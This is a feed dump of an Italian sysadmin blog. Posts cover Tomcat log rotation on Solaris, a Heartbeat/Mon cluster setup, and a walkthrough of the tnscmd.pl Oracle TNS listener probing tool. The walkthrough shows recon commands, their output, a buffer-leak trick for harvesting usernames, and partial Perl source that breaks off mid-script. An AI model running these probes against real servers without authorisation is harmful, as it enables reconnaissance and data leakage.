</blockquote>
<div></div>
<blockquote></blockquote>
<blockquote>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">[root@rac2 ~]# df -h</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Filesystem            Size  Used Avail Use% Mounted on</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">/dev/mapper/VolGroup00-LogVol00</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">14G   13G  775M  95% /</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">/dev/sda1              99M   19M   76M  20% /boot</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">tmpfs                 502M  300M  202M  60% /de</div>
</blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/68/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/68/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/68/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/68/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/68/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/68/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/68/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/68/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/68/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/68/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=68&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2009/09/03/linux-monitor-healthcheck-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>Log Rotation For Tomcat under Solaris 10</title>
		<link>http://installatore.wordpress.com/2009/04/26/log-rotation-for-tomcat-under-solaris-10/</link>
		<comments>http://installatore.wordpress.com/2009/04/26/log-rotation-for-tomcat-under-solaris-10/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 19:26:09 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[Varie]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[solaris]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[log rotation]]></category>
		<category><![CDATA[networking]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=59</guid>
		<description><![CDATA[Penso che almeno una volta tutti quelli che utilizzano Tomcat,si sono trovati davanti a file di log (catalina.out in primis) talmente grandi da non poter nemmeno essere aperti.Così mi sono creato questo breve scriptino che lanciato da crond una volta al giorno mi effettua la rotazione dei log e mi cancella quelli più vecchi di [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=59&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Penso che almeno una volta tutti quelli che utilizzano Tomcat,si sono trovati davanti a file di log (catalina.out in primis) talmente grandi da non poter nemmeno essere aperti.Così mi sono creato questo breve scriptino che lanciato da crond una volta al giorno mi effettua la rotazione dei log e mi cancella quelli più vecchi di 3 giorni.</p>
<div><span lang="IT"><em>#!/bin/sh</em></span></div>
<p><span lang="IT"><em>logadm /opt/apache-tomcat-6.0.18/logs/cc.log -C 15 -c -p now -t &#8216;/opt/apache-tomcat-6.0.18/logs/CC_OK.%Y-%m-%d-%H-%M&#8217;</em></p>
<p><em>logadm /opt/apache-tomcat-6.0.18/logs/catalina.out -C 15 -c -p now -t &#8216;/opt/apache-tomcat-6.0.18/logs/CATALINA_OK.%Y-%m-%d-%H-%M&#8217;</em></p>
<p><em>find /opt/apache-tomcat-6.0.18/logs -mtime +3 -exec rm -f {} \;</em></p>
<p>Ho configurato successivamente lo scriptino nella crontab di root  e riavviato il servizio con</p>
<p><em>svcadm restart crond</em></p>
<p> </p>
<p></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/59/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/59/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/59/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/59/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/59/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/59/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/59/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/59/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/59/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/59/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=59&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2009/04/26/log-rotation-for-tomcat-under-solaris-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>Active/Active cluster with Heartbeat + Mon for a Server Application</title>
		<link>http://installatore.wordpress.com/2009/04/26/activeactive-cluster-with-heartbeat-mon-for-a-server-application/</link>
		<comments>http://installatore.wordpress.com/2009/04/26/activeactive-cluster-with-heartbeat-mon-for-a-server-application/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 19:17:00 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[rhel]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=54</guid>
		<description><![CDATA[In questo articolo spiegherò brevemente come poter creare un cluster a 2 nodi Active/Active per un applicazione server attraverso anche l&#8217;uso di un record DNS Round Robyn,che andrà a smistare il traffico.
Per questa configurazione ho scelto di avere 2 indirizzi Ip virtuali (a cui punterà il round robyn) che potranno effettuare il failover su entrambi [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=54&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>In questo articolo spiegherò brevemente come poter creare un cluster a 2 nodi Active/Active per un applicazione server attraverso anche l&#8217;uso di un record DNS Round Robyn,che andrà a smistare il traffico.</p>
<p>Per questa configurazione ho scelto di avere 2 indirizzi Ip virtuali (a cui punterà il round robyn) che potranno effettuare il failover su entrambi i nodi del nostro cluster.Per creare i 2 ip virtuali e lanciare mon, utilizzeremo heartbeat <a href="http://www.linux-ha.org/">http://www.linux-ha.org/</a> .</p>
<p>Per gestire le risorse clusterizzate utilizzeremo mon <a href="http://mon.wiki.kernel.org/">http://mon.wiki.kernel.org/</a> .Mon avrà il compito di monitorare i nostri 2 nodi e tramite lo script tcp.monitor monitorare la porta che la nostra applicazione terrà aperta in ascolto.</p>
<p>Prima di tutto andiamo a configurare il file <em>/etc/hosts </em>inserendo i nomi host dei nostri server su entrambi i nodi.</p>
<p><em>10.0.0.2 nodoclu1                                                                                                                                                                                           </em></p>
<p><em>10.0.0.3 nodoclu2</em></p>
<p>Quindi procediamo con l&#8217;installazione di heartbeat e di mon,tramite i sorgenti o i packages scaricati dai relativi siti.Ipotizzerò che le cartelle di installazione per i 2 programmi siano <em>/etc/ha.d</em> (per heartbeat) e <em>/etc/mon</em> (per mon).</p>
<p>Cominciamo con il configurare su entrambi i nodi il file <em>/etc/ha.d/ha.cf</em> nel seguente modo:</p>
<p><span lang="IT"><em># Logging</em></span> </p>
<p><em>debug 0</em></p>
<p><em>debugfile /var/log/ha-debug</em></p>
<p><em>use_logd  false</em></p>
<p><em>logfacility  daemon</em></p>
<p><em>logfile /var/log/ha-log</em></p>
<p> </p>
<p><em># Misc Options</em></p>
<p><em>traditional_compression off</em></p>
<p><em>compression bz2</em></p>
<p><em>coredumps true</em></p>
<p> </p>
<p><em># Communications (scelgo su quali interfacce e su che porta configurare le comunicazioni interne tra i due nodi)</em></p>
<p><em>udpport 691</em></p>
<p><em>bcast eth0</em></p>
<p><em>bcast eth1</em></p>
<p><em> </em><em># Thresholds (in seconds)</em></p>
<p><em>keepalive 1</em></p>
<p><em>warntime 6</em></p>
<p><em>initdead 5   #(un nodo viene indicato come failed dopo 5 secondi)</em></p>
<p> </p>
<p><em>deadtime 9 #(un nodo viene indicato come morto dopo 9 secondi)</em></p>
<p><em>ping 10.0.0.1      #(per verificare che la rete pubblica sia sù pingo il mio gateway)</em></p>
<p><em>node  nodoclu1,nodoclu2</em>    <em>#(i nodi che appartengono al cluster)</em></p>
<p><em>auto_failback off               #(gestisco il fail back delle risorse con mon,quindi questo lo lascio a off)</em></p>
<p><em>respawn hacluster /usr/lib64/heartbeat/ipfail     #(indica il programma che controlla le interfacce di rete)</em></p>
<p>In questo file abbiamo quindi specificato i parametri di partenza per heartbeat,non ci resta che andare ad editare anche il file <em>/etc/ha.d/haresources </em>per poter configurare le risorse che vogliamo clusterizzare.</p>
<div><span lang="IT"><em>nodoclu1 10.0.0.10 mon_script</em></span></div>
<p><span lang="IT"><em>nodoclu2 10.0.0.20</em></p>
<p>Abbiamo quindi specificato che sul nodoclu1 sarà presente l&#8217;ip virtuale 10.0.0.10 e la risorsa mon_script ,che sarebbe lo script di avvio di mon,che dovrà essere inserito in /etc/ha.d/resource.d .Mentre per il nodoclu2 girerà solamente un altro ip virtuale.Ovviamente entrambi i nodi possono ospitare tutte le risorse qui descritte (2 ip virtuali + mon).Qui di seguito lo script mon_script&#8230;.</p>
<p> </p>
<p></span></p>
<div><span lang="IT"><em>#!/bin/sh</em></span></div>
<p><span lang="IT"><em>#</em></p>
<p><em># start/stop the mon server</em></p>
<p><em>#</em></p>
<p><em># processname: mon</em></p>
<p><em># config: /etc/mon/mon.cf</em></p>
<p><em># pidfile: /var/run/mon.pid</em></p>
<p><em>#</em></p>
<p><em>PATH=/bin:/usr/bin:/sbin:/usr/sbin</em></p>
<p><em>export PATH</em></p>
<p><em># Source function library.</em></p>
<p><em>. /etc/rc.d/init.d/functions</em></p>
<p><em># See how we were called.</em></p>
<p><em>case &#8220;$1&#8243; in</em></p>
<p><em>start)</em></p>
<p><em>echo -n &#8220;Starting mon daemon: &#8220;</em></p>
<p><em># daemon /etc/mon/mon -c /etc/mon/mon.cf</em></p>
<p><em>/etc/mon/mon -f -c /etc/mon/mon.cf</em></p>
<p><em>echo</em></p>
<p><em>touch /var/lock/subsys/mon</em></p>
<p><em>;;</em></p>
<p><em>stop)</em></p>
<p><em>echo -n &#8220;Stopping mon daemon: &#8220;</em></p>
<p><em>killproc mon</em></p>
<p><em>echo</em></p>
<p><em>rm -f /var/lock/subsys/mon</em></p>
<p><em>;;</em></p>
<p><em>status)</em></p>
<p><em>base=&#8221;mon&#8221;</em></p>
<p><em>pid=`pidof -o $$ -o $PPID -o %PPID -x ${base}`</em></p>
<p><em>if [ -n "$pid" ]; then</em></p>
<p><em>echo &#8220;running&#8221;</em></p>
<p><em>else</em></p>
<p><em>echo &#8220;stopped&#8221;</em></p>
<p><em>fi</em></p>
<p><em>;;</em></p>
<p><em>monitor)</em></p>
<p><em>base=&#8221;mon&#8221;</em></p>
<p><em>pid=`pidof -o $$ -o $PPID -o %PPID -x ${base}`</em></p>
<p><em>if [ -n "$pid" ]; then</em></p>
<p><em>echo &#8220;running&#8221;</em></p>
<p><em>else</em></p>
<p><em>echo &#8220;stopped&#8221;</em></p>
<p><em>exit 7</em></p>
<p><em>fi</em></p>
<p><em>;; restart)</em></p>
<p><em>killall -HUP mon</em></p>
<p><em>;;</em></p>
<p><em>*)</em></p>
<p><em>echo &#8220;Usage: mon {start|stop|status|restart|monitor}&#8221;</em></p>
<p><em>exit 1</em></p>
<p><em>esac</em></p>
<p><em>exit 0</em></p>
<p>A questo punto possiamo lanciare heartbeat su entrambi i nodi per controllare che vengano caricate tutte le nostre risorse (<em>/etc/init.d/heartbeat start</em>).Quindi possiamo partire configurando il file <em>/etc/mon/mon.cf </em></p>
<p> </p>
<p></span></p>
<div><span lang="IT"><em>alertdir = /etc/mon/alert.d</em></span></div>
<p><span lang="IT"><em>mondir = /etc/mon/mon.d</em></p>
<p><em>logdir = /etc/mon</em></p>
<p><em>maxprocs = 20</em></p>
<p><em>histlength = 100</em></p>
<p><em>randstart = 60s</em></p>
<p> </p>
<p></span></p>
<div><span lang="IT"><em>hostgroup nodo1 10.0.0.2     </em></span></div>
<p><span lang="IT"><em>hostgroup nodo2 10.0.0.3</em></p>
<p> </p>
<p></span></p>
<div><span lang="IT"><span lang="IT"><em>watch nodo1</em></span></span></div>
<p><span lang="IT"><span lang="IT"><em>service tcp</em></p>
<p><em>interval 5s</em></p>
<p><em>monitor tcp.monitor -p 3000 10.0.0.2  #-p portatcp indirizzonodo1</em></p>
<p><em>period wd {Mon-Sun}</em></p>
<p><em>alert ha_sall.alert  #appena non mi risponde per 2 volte il server lancio /usr/lib64/heartbeat/hb_standby all</em></p>
<p><em>upalert ha_tloc.alert #appena torna su il server lancio /usr/lib64/heartbeat/hb_takeover local</em></p>
<p><em>alertafter 2</em></p>
<p><em>no_comp_alerts</em></p>
<p><em>watch nodo2</em></p>
<p><em>service tcp</em></p>
<p><em>interval 5s</em></p>
<p> </p>
<p></span></span></p>
<p><em>monitor tcp.monitor -p 3000 10.0.0.3 #-p portatcp indirizzonodo2</em></p>
<p><em>period wd {Mon-Sun}</em></p>
<p><em>alert ha_tall.alert # appena non mi risponde per 2 volte il server lancio /usr/lib64/heartbeat/hb_takeover all</em></p>
<p><em>upalert ha_sfor.alert #appena torna su lancio /usr/lib64/heartbeat/hb_standby foreign</em></p>
<p><em>alertafter 2</em></p>
<p><em>no_comp_alerts</em></p>
<p>I file come <em>ha_sfor.alert</em> sono contenuti sotto <em>/etc/mon/alert.d</em> e non sono altro che file script con il comando scritto affianco.Ovviamente questa è la configurazione del nodo 1 quindi sul nodo 2 dovrò scambiare tutto ciò che riguarda col nodo1 con il nodo2 e viceversa.In pratica monitorizza se la porta 3000 sugli indirizzi ip indicati è aperta se non lo è esegue il file di alert dopo 2 volte che non risponde (<em>alertafter 2</em>),se la porta torna disponibile allora scatta l&#8217;upalert.Con questa configurazione la mia applicazione aveva tra l&#8217;alert e il failover delle risorse solo 5 secondi <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  direi un risultato molto soddisfacente.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/54/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=54&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2009/04/26/activeactive-cluster-with-heartbeat-mon-for-a-server-application/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
		<item>
		<title>SCRIPT &#8211; TNS COMMANDER</title>
		<link>http://installatore.wordpress.com/2008/08/31/script-tns-commander/</link>
		<comments>http://installatore.wordpress.com/2008/08/31/script-tns-commander/#comments</comments>
		<pubDate>Sun, 31 Aug 2008 18:58:20 +0000</pubDate>
		<dc:creator>installatore</dc:creator>
				<category><![CDATA[script]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[listener]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[tns]]></category>
		<category><![CDATA[tnscmd]]></category>

		<guid isPermaLink="false">http://installatore.wordpress.com/?p=29</guid>
		<description><![CDATA[Ciao a tutti con questo breve script in perl possiamo andare a utilizzare il servizio del listener di oracle per eseguire comandi random sul server.Ecco qui un abreve guida in inglese&#8230; e in fondo troverete lo script in perl&#8230;.
 
Tnscmd can be used to communicate directly with Oracle&#8217;s TNS listener, (no client is needed).  Unlike the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=29&subd=installatore&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Ciao a tutti con questo breve script in perl possiamo andare a utilizzare il servizio del listener di oracle per eseguire comandi random sul server.Ecco qui un abreve guida in inglese&#8230; e in fondo troverete lo script in perl&#8230;.</p>
<p> </p>
<p style="margin-top:0;margin-bottom:0;" align="justify"><span lang="EN-GB">Tnscmd can be used to communicate directly with Oracle&#8217;s TNS listener, (no client is needed).</span><span style="color:black;">  Unlike the Oracle </span></p>
<p style="margin-top:0;margin-bottom:0;" align="justify"><span style="color:black;">listener control utility LSNRCTL.exe,</span><span style="font-size:14pt;color:black;font-family:ArialNarrow;"> </span><span style="color:black;">TNSCmd.pl does not need any connection strings and a direct </span></p>
<p style="margin-top:0;margin-bottom:0;" align="justify"><span style="color:black;">bi-directional conversation can be immediately established. </span></p>
<p class="MsoNormal"><span lang="EN-GB">tnscmd by default will ping the stated host if no commands are supplied.</span></p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.1:1521</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">writing 87 bytes</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">reading</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">&#8230;&#8230;.&#8221;..=(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=LISTENER))</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;"> </p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;"><span lang="en-gb">The t</span><span lang="EN-GB">hree stages that have occured are: </span></p>
<ul style="margin-bottom:0;" type="disc">
<li class="MsoNormal"><span lang="EN-GB">the TNS command itself: </span><code style="font-family:Arial Unicode MS;"><span style="font-size:10pt;" lang="EN-GB">(</span></code>(CONNECT_DATA=(COMMAND=ping)<span lang="EN-GB"> </span></li>
<li class="MsoNormal"><span lang="EN-GB">the raw TNS packet sent to the TNS listener: </span>writing 87 bytes<span lang="EN-GB"> </span></li>
<li class="MsoNormal"><span lang="EN-GB">the raw TNS reply packet from the TNS listener: </span>&#8220;..=(DESCRIPTION=(T etc.</li>
</ul>
<p style="margin-top:0;margin-bottom:0;" align="justify"> </p>
<p style="margin-top:0;margin-bottom:0;" align="justify">The VSNNUM is the Oracle version no. in decimal, which can be converted from hex to give the version = 9.2</p>
<p style="margin-top:0;margin-bottom:0;" align="justify">(which was actually 9.1i)</p>
<p style="margin-top:0;margin-bottom:0;" align="justify"> </p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">[root@localhost tnscmd]# perl tnscmd.pl version -h 192.168.0.1</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">sending (CONNECT_DATA=(COMMAND=version)) to 192.168.0.1:1521</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">writing 90 bytes</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">reading</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">.M&#8230;&#8230;.6&#8230;&#8230;&#8230;-. &#8230;&#8230;&#8230;.(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0))&#8230;&#8230;&#8230;.TNSLSNR</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">for 32-bit Windows: Version 9.2.0.1.0 &#8211; Production..TNS for 32-bit Windows: Version 9.2.0.1.0 &#8211; Production..Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 &#8211; Production..</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 &#8211; Production..</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production,,&#8230;&#8230;&#8230;@</p>
<p style="margin-top:0;margin-bottom:0;" align="justify"> </p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">[root@localhost tnscmd]# perl tnscmd.pl status -h 192.168.0.1</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;"> </p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">sending (CONNECT_DATA=(COMMAND=status)) to 192.168.0.1:1521</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">writing 89 bytes</p>
<p class="MsoNormal" style="margin-top:0;margin-bottom:0;">reading</p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">. &#8230;&#8230;.6&#8230;&#8230;&#8230;S. &#8230;&#8230;&#8230;..]&#8230;&#8230;..(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">LISTENER)(SECURITY=<strong>OFF</strong>)(VERSION=TNSLSNR for <strong>32-bit Windows</strong>: <strong>Version 9.2.0.1.0</strong> &#8211; Production)(START_DATE=05-DEC200509:36:12)(SIDNUM=1)(<strong>LOGFILE=C:\oracle\ora92\</strong></span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;"><strong>network\log\listener.log</strong>) (PRMFILE=C:\oracle\ora92\network\admin\listener.ora)(<strong>TRACING=off</strong>)</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">(UPTIME=3508960369)(<strong>SNMP=OFF</strong>)(PID=808)).a&#8230;&#8230;..(ENDPOINT=(HANDLER=(HANDLER_</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=0309991</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">D7055-491B-9C9467FF511E869)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc))))),,ENDPOINT=(HANDLER=</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)</span></p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-size:12pt;font-family:Times New Roman;">(HANDLER_ID=01AAF1D856D6-4DFB-987D-</span></p>
<p style="margin-top:0;margin-bottom:0;"> </p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-family:Times New Roman;">See how confusing this is to read you should also pass the &#8211;indent option at the end of the command and proper formatting in human readable format will be carried out.  </span></p>
<p style="margin-top:0;margin-bottom:0;"> </p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-family:Times New Roman;">The above is just a small part of the results but the data highlighted tells us we are dealing with an Oracle 9i installation on Windows, SNMP is turned off and the location of the log file and with it the $ORACLE_HOME directory which may help in a future attack.  It will also normally tell you the hostname and also other ports that are running Oracle process i.e. Port 2100 FTP etc.</span></p>
<p style="margin-top:0;margin-bottom:0;"> </p>
<p style="margin-top:0;margin-bottom:0;"><span style="font-family:Times New Roman;">Another command that could be tried that may provide details such as usernames is the following:</span></p>
<p class="MsoNormal">[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1 &#8211;cmdsize 40</p>
<p class="MsoNormal">This may return data from previous tns packets as the listener doesn&#8217;t always clear its buffers as effectively as it should do.  If the above is successful try incrementing the cmdsize up to say 200 and maybe more will be returned.  This vulnerability is present in early versions of Oracle and may not work on the current versions in use today.  It&#8217;s still worth a try though.</p>
<blockquote><p>#!/usr/bin/perl<br />
#<br />
# tnscmd &#8211; a lame tool to prod the oracle tnslsnr process (1521/tcp)<br />
# tested under Linux x86 &amp; OpenBSD Sparc + perl5<br />
#<br />
# Initial cruft: <a href="mailto:jwa@jammed.com">jwa@jammed.com</a>  5 Oct 2000<br />
#<br />
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $<br />
#<br />
# see also:<br />
#    <a href="http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html">http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html</a><br />
#    <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818</a><br />
#    <a href="http://otn.oracle.com/deploy/security/alerts.htm">http://otn.oracle.com/deploy/security/alerts.htm</a><br />
#    <a href="http://xforce.iss.net/alerts/advise66.php">http://xforce.iss.net/alerts/advise66.php</a><br />
#<br />
# GPL&#8217;d, of course.  <a href="http://www.gnu.org/copyleft/gpl.html">http://www.gnu.org/copyleft/gpl.html</a><br />
#<br />
# $Log: tnscmd,v $<br />
# Revision 1.3  2001/04/26 06:45:48  jwa<br />
# typo in url.  whoops.<br />
#<br />
# Revision 1.2  2001/04/26 06:42:17  jwa<br />
# complete rewrite<br />
#  &#8211; use IO::Socket instead of tcp_open<br />
#  &#8211; got rid of pdump()<br />
#  &#8211; put packet into @list and build it with pack()<br />
#  &#8211; added &#8211;indent option<br />
#<br />
#</p>
<p>use IO::Socket;<br />
use strict;  # a grumpy perl interpreter is your friend</p>
<p>select(STDOUT);$|=1;</p>
<p>#<br />
# process arguments<br />
#</p>
<p>my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);<br />
my ($arg);</p>
<p>while ($arg = shift @ARGV) {<br />
 $main::hostname = shift @ARGV if ($arg eq &#8220;-h&#8221;);<br />
 $main::port = shift @ARGV if ($arg eq &#8220;-p&#8221;);<br />
 $main::logfile = shift @ARGV if ($arg eq &#8220;&#8211;logfile&#8221;);<br />
 $main::fakepacketsize = shift @ARGV if ($arg eq &#8220;&#8211;packetsize&#8221;);<br />
 $main::fakecmdsize = shift @ARGV if ($arg eq &#8220;&#8211;cmdsize&#8221;);<br />
 $main::indent = 1 if ($arg eq &#8220;&#8211;indent&#8221;);<br />
 $main::rawcmd = shift @ARGV if ($arg eq &#8220;&#8211;rawcmd&#8221;);<br />
 $main::rawout = shift @ARGV if ($arg eq &#8220;&#8211;rawout&#8221;);<br />
}</p>
<p>if ($main::hostname eq &#8220;&#8221;) {<br />
 print &lt;&lt;_EOF_;<br />
usage: $0 [command] -h hostname<br />
       where &#8216;command&#8217; is something like ping, version, status, etc. <br />
       (default is ping)<br />
       [-p port] &#8211; alternate TCP port to use (default is 1521)<br />
       [--logfile logfile] &#8211; write raw packets to specified logfile<br />
       [--indent] &#8211; indent &amp; outdent on parens<br />
       [--rawcmd command] &#8211; build your own CONNECT_DATA string<br />
       [--cmdsize bytes] &#8211; fake TNS command size (reveals packet leakage)<br />
_EOF_<br />
 exit(0);<br />
}</p>
<p># with no commands, default to pinging port 1521</p>
<p>$cmd = &#8220;ping&#8221; if ($cmd eq &#8220;&#8221;);<br />
$main::port = 1521 if ($main::port eq &#8220;&#8221;); # 1541, 1521.. DBAs are so whimsical<br />
#<br />
# main<br />
#</p>
<p>my ($command);</p>
<p>if (defined($main::rawcmd))<br />
{<br />
 $command = $main::rawcmd;<br />
}<br />
else<br />
{ <br />
 $command = &#8220;(CONNECT_DATA=(COMMAND=$cmd))&#8221;; <br />
}<br />
my $response = tnscmd($command);<br />
viewtns($response);<br />
exit(0);<br />
#<br />
